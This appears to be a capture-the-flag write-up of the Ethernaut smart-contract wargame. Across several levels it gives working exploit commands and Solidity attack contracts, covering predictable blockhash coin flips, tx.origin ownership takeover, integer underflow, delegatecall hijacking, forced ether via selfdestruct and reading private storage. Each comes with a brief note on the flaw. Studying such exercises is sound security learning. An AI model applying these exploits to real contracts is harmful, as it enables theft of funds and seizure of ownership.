Abusing erroneous logic between contract functions and fallback function.
await contract.contribute({value: 1234});
await contract.sendTransaction({value: 1234});
await contract.withdraw();
Constructor is spelled wrongly so it becomes a regular function. In any case, you can't use the contract name as a constructor in solidity 0.5.0 and above.
await contract.Fal1out({value: 1234});
await contract.sendAllocation(await contract.owner());
Don't rely on block number for any validation logic. A malicious user can calculate the solution to bypass your validation if both txns in the same block i.e. wrapped in the same function call.
Note: For some reason, I can't seem to call these functions more than once in the same function call i.e. another function that calls one of these malicious functions multiple times in one function call.
pragma solidity ^0.6.0;
import "./CoinFlip.sol";
import "https://github.com/OpenZeppelin/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract AttackCoinFlip {
using SafeMath for uint;
address public targetContract;
constructor(address _targetContract) public {
targetContract = _targetContract;
}
function attackFlipWithContract() public{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968);
bool side = coinFlip == 1 ? true : false;
CoinFlip(targetContract).flip(side);
}
function attackFlipWithout() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(57896044618658097711785492504343953926634992332820282019728792003956564819968);
bytes memory payload = abi.encodeWithSignature("flip(bool)", coinFlip == 1 ? true : false);
(bool success, ) = targetContract.call(payload);
require(success, "Transaction call using encodeWithSignature is successful");
}
}
When you call a contract (A) function from within another contract (B), the msg.sender is the address of B, not the account that you initiated the function from which is tx.origin.
pragma solidity ^0.6.0;
contract AttackTelephone {
address public telephone;
constructor(address _telephone) public {
telephone = _telephone;
}
function changeBadOwner(address badOwner) public {
bytes memory payload = abi.encodeWithSignature("changeOwner(address)", badOwner);
(bool success, ) = telephone.call(payload);
require(success, "Transaction call using encodeWithSignature is successful");
}
}
No integer over/underflow protection. Always use safemath libraries. As long as you pass a value > 20, the condition in the first require statement will underflow and it will always pass.
await contract.transfer(instance, 25)
DelegateCall means you take the implementation logic of the function in the contract you're making this call to but using the storage of the calling contract. Since msg.sender, msg.data, msg.value are all preserved when performing a DelegateCall, you just needed to pass in a malicious msg.data i.e. the encoded payload of pwn()
function to gain ownership of the Delegation
contract.
let payload = web3.eth.abi.encodeFunctionSignature({
name: 'pwn',
type: 'function',
inputs: []
});
await contract.sendTransaction({
data: payload
});
You can easily forcibly send ether to a contract. Read this to learn more.
pragma solidity ^0.6.0;
contract AttackForce {
constructor(address payable _victim) public payable {
selfdestruct(_victim);
}
}
EVM storage is 2^256 slots of 32 bytes, values are stored sequentially from the right. see Nicole Zhu
Solution:
let pw = await web3.eth.getStorageAt(instance, 0);
await contract.unlock(pw);